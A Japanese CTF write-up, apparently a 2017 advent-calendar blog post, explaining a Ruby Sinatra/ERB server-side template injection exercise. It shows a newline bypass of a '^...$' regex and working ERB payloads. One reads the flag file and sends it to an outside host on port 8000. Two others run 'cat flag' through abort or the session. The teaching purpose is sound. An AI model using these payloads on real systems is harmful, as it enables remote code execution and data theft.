st98 の日記帳


[ctf][harekaze] Harekaze 内で出題した SSTI 問の解説

これは Harekaze Advent Calendar 2017 の 8 日目の記事です。


12 月 4 日から 8 日にかけて、チーム Harekaze 内で Server-Side Template Injection (SSTI) の解説資料 (内容は攻撃手法やその対策など) を公開し、このまとめとして、作成した演習問題をチームメンバーに解いてもらうという取り組みを行いました。

ということで、出題した問題とその解説を公開します。

問題文

演習問題として、演習環境の 4567 番ポートでとある言語とテンプレートエンジンを使って作られたサービスが動いています。

/source にアクセスすることでソースコードが見られるので、どこで、どうすれば SSTI ができるか考えてみてください。

また、SSTI を利用して flag というファイルの内容を取得してみてください。

exercise.tar.gz

write-up

まず /source にアクセスしてソースコードを取得します。

require 'sinatra'
require 'logger'

set :public_folder, File.dirname(__FILE__) + '/static'
enable :sessions

logger = Logger.new('sinatra.log')

def is_valid(s)
  return /^[0-9A-Za-z]+$/ =~ s
end

get '/' do
  erb :index
end

post '/add' do
  unless session[:memos]
    session[:memos] = []
  end
  unless is_valid(params[:memo])
    redirect to('/')
  end
  session[:memos].push params[:memo]
  logger.info erb("memo ('#{params[:memo]}') added", :layout => false)
  redirect to('/')
end

get '/clear' do
  if params[:id]
    id = params[:id].to_i
    logger.info erb("memo ('#{session[:memos][id]}') deleted", :layout => false)
    session[:memos].slice! id
  else
    session.clear
  end
  redirect to('/')
end

get '/source' do
  File.open(__FILE__, 'r').read
end

do end のような構文から Ruby で書かれていること、require 'sinatra' から Sinatra というライブラリを使っていること、erb :index から erb をテンプレートエンジンに使っていることが分かります。

どこかでユーザ入力がそのまま erb に渡っていないか探してみると、以下のような箇所が見つかりました。

post '/add' do
  unless session[:memos]
    session[:memos] = []
  end
  unless is_valid(params[:memo])
    redirect to('/')
  end
  session[:memos].push params[:memo]
  logger.info erb("memo ('#{params[:memo]}') added", :layout => false)
  redirect to('/')
end

メモの追加処理で、追加されるメモの内容をそのまま erb に渡し、その返り値をログとして出力しています。SSTI ができそうです。

is_valid でメモの内容を検証しているようなので、どのような処理が行われているか確認します。

def is_valid(s)
  return /^[0-9A-Za-z]+$/ =~ s
end

正規表現を使って、英数字だけで構成されているか検証しているらしいと分かりました。文字列の先頭と末尾を示すために ^$ を使っていますが、Ruby では ^行頭に、$行末にマッチします。(参照: 正規表現によるバリデーションでは ^ と $ ではなく \A と \z を使おう | 徳丸浩の日記)

これを利用して、curl -v http://192.168.99.100:4567/add -d "memo=1%0Apwned!" のように改行文字を使うと、本来は入力できない文字をメモとして追加することができました。

erb の文法を確認すると、<% ... %> は中の式を実行し、<%= ... %> は中の式を評価した結果を出力することが分かりました。これで任意のコードを実行する方法が分かりました。

しかし、erb で処理した結果はユーザからは読めない場所 (sinatra.log) に書き込まれるため、なにか別の方法で得る必要があります。

今回は外向きの通信が許可されているので、net/http を使って、あらかじめ用意した HTTP サーバにアクセスさせます。

require 'net/http'; Net::HTTP.get_print 'example.com', File.read('flag'), 8000http://example.com:8000/(flag の内容) にアクセスが来るはずです。

$ curl -v http://192.168.99.100:4567/add -d "memo=1%0A%3C%25%3D%20require%20'net%2Fhttp'%3B%20Net%3A%3AHTTP.get_print%20'example.com'%2C%20File.read('flag')%2C%208000%20%25%3E"
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
... - - [04/Dec/2017 17:35:22] code 404, message File not found
... - - [04/Dec/2017 17:35:22] "GET flag{<ruby>\xe5\x92\x8c\xe4\xbd\x8f<rt>\xe3\x82\x8f\xe3\x81\x9a\xe3\x81\xbf</rt>\xe5\xaa\x9b\xe8\x90\x8c<rt>\xe3\x81\xb2\xe3\x82\x81</rt></ruby>} HTTP/1.1" 404 -

フラグが得られました。

flag{<ruby>和住<rt>わずみ</rt>媛萌<rt>ひめ</rt></ruby>}

他の方の解法

以上が私の解法でした。これ以外の解法として、@megumish さんに教えていただいたものを 2 つ紹介します。

1

<% abort `cat flag` %>

Kernel.#abort は引数として文字列を与えると、それをエラーメッセージとして出力して終了するメソッドです。

実際に試してみましょう。

$ curl http://192.168.99.100:4567/add -d "memo=A%0a%3C%25%20abort%20%60cat%20flag%60%20%25%3E"
SystemExit: flag{<ruby>和住<rt>わずみ</rt>媛萌<rt>ひめ</rt></ruby>}
        /app/app.rb:26:in `abort'
        /app/app.rb:26:in `block in singleton class'
        /app/app.rb:18:in `instance_eval'
        /app/app.rb:18:in `singleton class'
        /app/app.rb:15:in `__tilt_47037131226660'
...

エラーメッセージとして flag の内容が表示されました。

ちなみに、Dockerfile の最終行を以下のように変更すると例外が発生しても詳細な情報が出力されなくなり、この解法では一発でフラグが得られなくなります。

-CMD ["bundle", "exec", "rackup", "-p", "4567", "-o", "0.0.0.0"]
+CMD ["bundle", "exec", "rackup", "-p", "4567", "-o", "0.0.0.0", "-E", "production"]
$ curl http://192.168.99.100:4567/add -d "memo=A%0a%3C%25%20abort%20%60cat%20flag%60%20%25%3E"
<h1>Internal Server Error</h1>

2

<% session[:memos].push `cat flag` %>

当然ながら session にもアクセスできるので、メモが配列として保存されている session[:memos]flag の内容を追加することで読み出すことができます。

実際に試してみましょう。

$ curl http://192.168.99.100:4567/add -c "cookie.txt" -d "memo=A%0a%3C%25%20session%5B%3Amemos%5D.push%20%60cat%20flag%60%20%25%3E"
$ curl http://192.168.99.100:4567 -b "cookie.txt"
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="/style.css">
    <title>SSTI exercise</title>
  </head>
  <body>
    <main>
      <h1>SSTI exercise</h1>
      <nav>
        <a href="/clear">clear</a> / <a href="/source">source</a>
      </nav>
            <h2>Memo</h2>
      <form action="/add" method="POST">
        <input type="text" name="memo" id="memo" autofocus>
        <input type="submit">
      </form>
      <h2>History</h2>
      <ul>
      
        
          <li>A
<% session[:memos].push `cat flag` %> <a href="clear?id=0">del</a></li>
        
          <li>flag{<ruby>和住<rt>わずみ</rt>媛萌<rt>ひめ</rt></ruby>} <a href="clear?id=1">del</a></li>
        
      
      </ul>
    </main>
  </body>
</html>

flag の内容がメモとして表示されました。

このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳